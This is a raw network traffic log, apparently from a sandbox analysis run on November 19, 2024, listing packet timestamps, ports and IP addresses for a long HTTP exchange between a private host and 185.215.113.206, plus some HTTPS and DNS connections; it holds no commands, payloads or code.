Nov 19, 2024 20:05:50.731385946 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731391907 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.731391907 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.731399059 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731412888 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731442928 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.731497049 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731508970 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731520891 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731534004 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731575966 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.731575966 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.731575966 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.731575966 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.731652021 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731663942 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731674910 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731684923 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731697083 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731709957 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731720924 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.731722116 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731720924 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.731738091 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731797934 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.731797934 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.731826067 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731838942 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731872082 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731884956 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731950045 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.731950045 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.731950045 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.732001066 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.732011080 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.732021093 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.732033014 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.732043982 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.732054949 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.732054949 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.732058048 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.732070923 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.732098103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.732098103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.732125998 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.732156992 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.732170105 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.732181072 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.732192993 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.732206106 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.732234955 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.732234955 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.732273102 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.732300997 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.732314110 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.732325077 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.732335091 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.732377052 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.732377052 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.732443094 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.732455969 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.732466936 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.732477903 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.732491016 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.732502937 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.732578993 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.732592106 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.732592106 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.732592106 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.734648943 CET	64152	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:50.734673977 CET	443	64152	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:50.734855890 CET	64152	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:50.735199928 CET	64152	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:50.735213041 CET	443	64152	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:50.740919113 CET	52540	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.740919113 CET	52540	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.740953922 CET	443	52540	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.740963936 CET	443	52540	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.744277000 CET	64149	53	192.168.2.7	162.159.36.2
Nov 19, 2024 20:05:50.747904062 CET	64153	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.747944117 CET	443	64153	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.748004913 CET	64153	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.748182058 CET	64153	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.748199940 CET	443	64153	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.748733997 CET	64154	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.748764038 CET	443	64154	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.748853922 CET	64154	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.748951912 CET	64155	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.748965025 CET	443	64155	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.749007940 CET	64155	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.749104977 CET	64154	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.749114990 CET	443	64154	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.749241114 CET	64155	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.749250889 CET	443	64155	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.749317884 CET	53	64149	162.159.36.2	192.168.2.7
Nov 19, 2024 20:05:50.749432087 CET	64149	53	192.168.2.7	162.159.36.2
Nov 19, 2024 20:05:50.755333900 CET	443	52550	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.757926941 CET	52550	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.757950068 CET	443	52550	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.758521080 CET	52550	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.758527040 CET	443	52550	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.762094021 CET	443	52548	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:50.762442112 CET	52548	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:50.762470007 CET	443	52548	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:50.762732029 CET	443	52551	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.762950897 CET	443	52548	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:50.763164997 CET	52551	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.763180971 CET	443	52551	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.763411999 CET	52548	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:50.763477087 CET	443	52548	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:50.763649940 CET	52548	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:50.763740063 CET	52551	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.763744116 CET	443	52551	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.765808105 CET	443	52549	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:50.766074896 CET	52549	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:50.766100883 CET	443	52549	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:50.766450882 CET	443	52549	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:50.766836882 CET	52549	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:50.766897917 CET	443	52549	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:50.767046928 CET	52549	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:50.782483101 CET	64156	443	192.168.2.7	20.3.187.198
Nov 19, 2024 20:05:50.782529116 CET	443	64156	20.3.187.198	192.168.2.7
Nov 19, 2024 20:05:50.782607079 CET	64156	443	192.168.2.7	20.3.187.198
Nov 19, 2024 20:05:50.783026934 CET	64156	443	192.168.2.7	20.3.187.198
Nov 19, 2024 20:05:50.783041954 CET	443	64156	20.3.187.198	192.168.2.7
Nov 19, 2024 20:05:50.788888931 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.788903952 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.788916111 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.788937092 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.788949013 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.788963079 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.788975954 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.788989067 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789000034 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.789000034 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.789016008 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789026976 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789041042 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789052963 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789078951 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.789078951 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.789078951 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.789086103 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789098024 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789175034 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789189100 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789202929 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789215088 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789249897 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.789249897 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.789249897 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.789249897 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.789249897 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.789302111 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789314032 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789320946 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789325953 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789333105 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789339066 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789463997 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789511919 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789522886 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789589882 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789602041 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789613008 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789612055 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.789612055 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.789612055 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.789635897 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789649963 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789690971 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789730072 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789740086 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789747000 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789762974 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789797068 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.789797068 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.789797068 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.789797068 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.789797068 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.789797068 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.789823055 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789834023 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789845943 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789861917 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789871931 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789884090 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789896965 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.789908886 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.790096045 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.790107965 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.790121078 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.790133953 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.790133953 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.790133953 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.790133953 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.790133953 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.790214062 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.790225029 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.790235996 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.790256977 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.790261984 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.790261984 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.790261984 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.790267944 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.790285110 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.790375948 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.790386915 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.790400028 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.790400982 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.790401936 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.790401936 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.790412903 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.790450096 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.790469885 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.790489912 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.790496111 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.790508032 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.790519953 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.790790081 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.790790081 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.790790081 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.790790081 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.790790081 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.807329893 CET	443	52548	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:50.811327934 CET	443	52549	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:50.817653894 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.817693949 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.817706108 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.817725897 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.817739010 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.817771912 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.817783117 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.817785025 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.817785025 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.817785025 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.817857027 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.817887068 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.817899942 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.817912102 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.817954063 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.817954063 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.817954063 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.817954063 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.817954063 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.817992926 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818005085 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818017960 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818063021 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818167925 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818223953 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818288088 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818298101 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818319082 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818331003 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818332911 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.818332911 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.818334103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.818334103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.818334103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.818334103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.818342924 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818357944 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818459034 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.818459034 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.818459034 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.818459034 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.818530083 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818541050 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818608046 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818708897 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818720102 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818763018 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818775892 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818788052 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818800926 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818803072 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.818803072 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.818803072 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.818804026 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.818815947 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818857908 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818883896 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818893909 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818905115 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818926096 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818939924 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.818959951 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.818959951 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.818959951 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.818959951 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.818959951 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.818959951 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.818980932 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.819042921 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819056034 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819071054 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819083929 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819113970 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819124937 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819139004 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.819139004 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.819139004 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.819181919 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819195986 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819286108 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819298983 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819310904 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819334030 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819336891 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.819336891 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.819338083 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.819349051 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819360971 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819360971 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.819360971 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.819375992 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819525957 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819540024 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819550991 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819561958 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819574118 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819586992 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819600105 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.819600105 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.819600105 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.819602013 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819600105 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.819616079 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819631100 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819662094 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819674015 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.819793940 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.819793940 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.819793940 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.819793940 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.819793940 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.856758118 CET	443	52550	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.857161045 CET	443	52550	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.857218981 CET	443	52550	13.107.246.45	192.168.2.7
